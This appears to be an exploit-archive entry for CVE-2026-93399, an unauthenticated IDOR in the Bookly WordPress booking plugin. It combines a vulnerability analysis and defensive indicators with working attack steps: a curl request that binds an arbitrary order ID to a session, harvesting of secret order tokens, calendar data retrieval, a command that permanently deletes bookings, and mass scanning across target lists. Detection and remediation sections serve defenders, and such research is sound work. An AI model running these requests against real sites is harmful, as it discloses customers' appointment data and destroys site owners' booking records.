Bookly <= 28.2 — Unauthenticated IDOR in Public Booking AJAX (Order Token Disclosure & Booking Deletion) (CVE-2026-93399)
Published: 2026-11-25 • Researcher: murrez (PoC repository owner); Wordfence Threat Intelligence (CNA and advisory)
- Severity
- Critical
- CVE
- CVE-2026-93399
- Category
- web
- Affected product
- Bookly — Responsive Appointment Booking Tool for WordPress (bookly-responsive-appointment-booking-tool)
- Affected versions
- All versions up to and including 28.2 (per the NVD description; NVD configurations/product ranges are empty and the CNA references fix changeset r3707284, so treat the first fixed release as later than 28.2 — verify the readme stable tag on the target. The plugin's current version at ingestion was 28.9.)
- Disclosed
- 2026-11-25
- Patch status
- Unverified
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-93399
- https://github.com/murrez/CVE-2026-93399
- https://www.wordfence.com/threat-intel/vulnerabilities/id/d45a01e5-0e69-4d95-b609-b9002b3776da?source=cve
- https://plugins.trac.wordpress.org/changeset?reponame=&old=3707284%40bookly-responsive-appointment-booking-tool&new=3707284%40bookly-responsive-appointment-booking-tool
- https://plugins.trac.wordpress.org/browser/bookly-responsive-appointment-booking-tool/tags/28.2/frontend/modules/booking/Ajax.php#L1111
- https://plugins.trac.wordpress.org/browser/bookly-responsive-appointment-booking-tool/tags/28.2/lib/UserBookingData.php#L360
- https://cwe.mitre.org/data/definitions/639.html
- https://pocbit.org/pocs/cve-2026-93399
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-09-25 |
| Author / Researcher | murrez (PoC repository owner); Wordfence Threat Intelligence (CNA and advisory) |
| CVE / Advisory | CVE-2026-93399 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.1 (CVSS 3.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H, Wordfence CNA via NVD) |
| Status | PoC |
| Tags | WordPress, Bookly, IDOR, CWE-639, unauthenticated, admin-ajax, order-token, booking, data-disclosure, destructive |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Bookly — Responsive Appointment Booking Tool for WordPress (bookly-responsive-appointment-booking-tool) |
| Versions Affected | All versions up to and including 28.2 (per the NVD description; NVD configurations/product ranges are empty and the CNA references fix changeset r3707284, so treat the first fixed release as later than 28.2 — verify the readme stable tag on the target. The plugin’s current version at ingestion was 28.9.) |
| Language / Platform | PHP (WordPress plugin); the published PoC client is Python 3 with requests |
| Authentication Required | No (unauthenticated public booking AJAX actions; only knowledge of valid sequential order IDs is needed) |
| Network Access Required | Yes |
Summary
Bookly is a WordPress appointment-booking plugin that exposes public, unauthenticated AJAX actions for its front-end booking form. In versions up to and including 28.2 the get-form-id handler copies an attacker-supplied order identifier from the submitted form data into a new booking session, and the render-complete handler later trusts that session value to look up an order and return its secret order token without checking that the session actually created the order. Because order identifiers are sequential, an unauthenticated attacker can walk them, disclose other customers’ order tokens, pull appointment and calendar details through the add-to-calendar action, and permanently delete non-completed bookings through the rollback action, which cascade-deletes the customer appointment and, when no other customer is attached, the underlying appointment. Wordfence scored the issue 9.1 Critical; the public PoC automates target fingerprinting and the full token-disclosure, calendar-retrieval and rollback chain.
Vulnerability Details
Root Cause
The public booking AJAX surface binds an order to a visitor session instead of to a verified capability. bookly_get_form_id accepts form_data from the request and blindly persists the client-supplied order_id into the new UserBookingData session (the NVD-referenced lib/UserBookingData.php#L360 path and the frontend/modules/booking/Ajax.php#L46 handler). The session is then treated as proof of ownership: bookly_render_complete (frontend/modules/booking/Ajax.php#L1111) reads the order ID from that session, loads the corresponding Order record and returns its secret bookly_order token without comparing it against orders the current session created. The token is in turn the only credential consumed by bookly_add_to_calendar (frontend/modules/booking/Ajax.php#L733) and bookly_rollback_order, plus the payment gateway return path (frontend/modules/payment/Ajax.php#L74, lib/base/Gateway.php#L301), so one missing ownership check widens into disclosure and destructive cancellation. NVD classifies the issue as CWE-639 (authorization bypass through user-controlled key).
Attack Vector
An unauthenticated attacker sends HTTP POSTs to /wp-admin/admin-ajax.php on a site where the plugin is active:
action=bookly_get_form_idwithform_data[order_id]=<N>(and a minimalform_data[data][email], empty chain/cart) — Bookly stores the attacker-chosen order ID in a fresh booking session and returns aform_id.action=bookly_render_completewith thatform_id— the response carries thebookly_ordersecret token for order N.action=bookly_add_to_calendar&bookly_order=<token>&calendar=ics— returns a calendar file (and redirects) containing the appointment, service, staff and timing details.action=bookly_rollback_orderwith theform_idandbookly_ordertoken — cancels/deletes the non-completed booking and cascade-deletes itscustomer_appointmentrows and, where no other customer is attached, theappointmentitself.
Because IDs are sequential, steps 1–2 can be looped over a range to harvest tokens; the PoC’s check mode scans --order-start/--order-end ranges and supports a target list with threads.
Impact
Disclosure of other customers’ order tokens and appointment/calendar information (service, staff, date and time, customer-facing details), and permanent deletion of arbitrary non-completed bookings. Deleting appointments can remove customers from staff calendars, corrupt booking records and deny service to the site owner; the disclosed order token also unlocks the payment/return flows keyed on it. The CNA vector records confidentiality impact as none while describing token and calendar disclosure, which is an inconsistency worth noting when triaging severity; integrity and availability are both high, hence 9.1.
Environment / Lab Setup
OS: Linux (bare metal or Docker); any host able to run WordPress
Target: WordPress 6.x with Bookly <= 28.2 active, at least one service,
staff member and published booking form, plus one or more
non-completed bookings (orders) to enumerate
Attacker: Python 3.8+ with requests and urllib3
Tools: curl, browser developer tools, Python 3Setup Steps
| |
Proof of Concept
Step-by-Step Reproduction
Confirm the plugin and version — check mode fetches
/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt(fallback/main.php) and compares the Stable tag/Version against 28.2.Shell script1python3 poc.py -u http://target --mode checkBind an attacker-chosen order to a fresh session — POST
action=bookly_get_form_idwithform_data[order_id]=15and a minimal form blob; Bookly returns aform_idfor a new booking session that references order 15.Shell script1 2 3 4curl -s -X POST http://target/wp-admin/admin-ajax.php \ -d 'action=bookly_get_form_id' \ -d 'form_data[data][email]=pocbit-probe@invalid.example' \ -d 'form_data[order_id]=15' -d 'form_data[chain]=[]' -d 'form_data[cart]=[]'Harvest the secret token — POST
action=bookly_render_complete&form_id=<form_id>; the JSON response containsbookly_order, the order token the current session never legitimately owned.Pull appointment data — GET
action=bookly_add_to_calendar&bookly_order=<token>&calendar=ics; an ICS body or calendar content type confirms the token is accepted for calendar export.Destructive check (optional, authorized labs only) — POST
action=bookly_rollback_orderwith theform_idandbookly_ordertoken to delete the non-completed booking. The PoC refuses to do this unless--confirm-deleteis passed.Shell script1python3 poc.py -u http://target --mode exploit --order-id 15 --rollback --confirm-deleteRange or mass enumeration — check mode walks sequential IDs and, with
--list targets.txt -j 10, applies the same token probe across many sites.
Exploit Code
See
poc.pyin this folder (upstream file, authorized-research header added for archiving). The chain is implemented byflatten_form_data(),bookly_get_form_id(),bookly_render_complete(),steal_order_token(),bookly_add_to_calendar()andbookly_rollback_order(); CLI wiring and version/plugin discovery live incheck_target()andexploit_target().
The essential two-step IDOR, as implemented upstream:
| |
Expected Output
Illustrative shape of the tool’s JSON output (the PoC was not executed during ingestion):
| |
In exploit mode a success row additionally carries "exploited": true, the leaked bookly_order, an optional calendar object with "ics_like": true, and, when --rollback --confirm-delete is used, "rollback": {"rollback_ok": true} with "destructive": true.
Detection & Indicators of Compromise
- POSTs to
/wp-admin/admin-ajax.phpwithaction=bookly_get_form_idand aform_data[order_id]value supplied directly by the client, followed immediately byaction=bookly_render_completewith the returnedform_id. - Sequential or rapidly incrementing
form_data[order_id]values from one source IP or session (range enumeration), especially without any preceding GET of the booking page. - GET requests to
admin-ajax.phpwithaction=bookly_add_to_calendarand abookly_ordertoken whose session never booked that order, or repeated ICS downloads. - POSTs with
action=bookly_rollback_orderfor orders not created by the requesting session; correlated loss of non-completed bookings orcustomer_appointment/appointmentrecords. - Reconnaissance GETs for
/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txtor/main.php(version fingerprinting). - Tool artifacts on the operator side:
cve_2026_93399_results.jsonlandhits.txt; default User-Agent... Chrome/131.0.0.0 Safari/537.36 PoCbit (+https://pocbit.org).
| |
SIEM / IDS rule (example):
| |
Remediation
| Action | Detail |
|---|---|
| Patch | Update bookly-responsive-appointment-booking-tool to a release later than 28.2 (the CNA references fix changeset r3707284; the plugin’s current version at ingestion was 28.9). Verify the changelog/readme stable tag after updating, and update the bundled Bookly Pro add-on if installed. |
| Workaround | If the plugin cannot be updated immediately, unpublish public booking forms (removing the shortcode removes the reachable AJAX flow for most sites) or block unauthenticated bookly_rollback_order and bookly_render_complete requests at the WAF/reverse proxy; take a database backup before enabling any rollback path. |
| Config Hardening | Enforce server-side ownership checks (bind order IDs to a session/capability token created at booking time), rate-limit public booking AJAX actions, keep WordPress core, themes and plugins patched, monitor admin-ajax booking traffic, and restrict or alert on calendar/rollback usage per source. |
References
- CVE-2026-93399 — NVD
- murrez/CVE-2026-93399 — source PoC repository
- Wordfence Threat Intel — CVE-2026-93399 advisory
- Bookly 28.2 changeset r3707284 (CNA-referenced fix)
- Bookly 28.2 frontend booking Ajax.php — get_form_id / render_complete handling
- Bookly 28.2 lib/UserBookingData.php — session order binding
- MITRE CWE-639: Authorization Bypass Through User-Controlled Key
- PoC page (pocbit.org)
Notes
Auto-ingested from https://github.com/murrez/CVE-2026-93399 on 2026-11-25.
Review verdict: this is a genuine exploit PoC, not a detector-only repository. The check mode does version fingerprinting and range probing, but the same tool implements the actual vulnerable chain end to end — it injects the attacker-chosen form_data[order_id] into a new booking session, calls bookly_render_complete to receive the secret bookly_order token, optionally fetches the ICS via bookly_add_to_calendar, and can call bookly_rollback_order to delete the booking. It was therefore ingested. The PoC was not executed during ingestion (no target was contacted and the destructive path was not run).
Status is PoC rather than Weaponized: the chain is functional and directly exercises the vulnerability, but the repository ships no lab, no captured output and no verified run; the deletion step is deliberately gated behind --confirm-delete, and the tool needs a live site running Bookly at or below 28.2 with at least one existing order.
License: MIT (LICENSE file, “Copyright (c) 2026 yoyo”, the PoCbit author; the GitHub repository owner is murrez). The archived poc.py carries an added authorized-research header; upstream attribution is preserved.
Limitations: the tool must first find a form_id from bookly_get_form_id before bookly_render_complete will return anything, so some target-specific form fields may be required beyond the minimal blob the PoC sends; only orders that exist and are not yet completed are useful targets, and rollback is permanent (cascade deletes customer_appointment, and the appointment when no other customer is attached). Version detection relies on readme.txt/main.php and can be blocked or spoofed, and an undetectable plugin version is treated as potentially vulnerable. The NVD record has no product/version range and no CVSS vector beyond the Wordfence secondary score, and it records confidentiality impact as none although the description covers token and calendar disclosure — treat the 9.1 score as the CNA’s. The repository also provides mass checking over a target list with threads; that mode is scanner-like and must only be used against systems you own or have written authorization to test. The listed WordPress Trac URLs were referenced by the CNA; the Trac site served a JavaScript challenge during ingestion, so their content was not independently re-read.
| |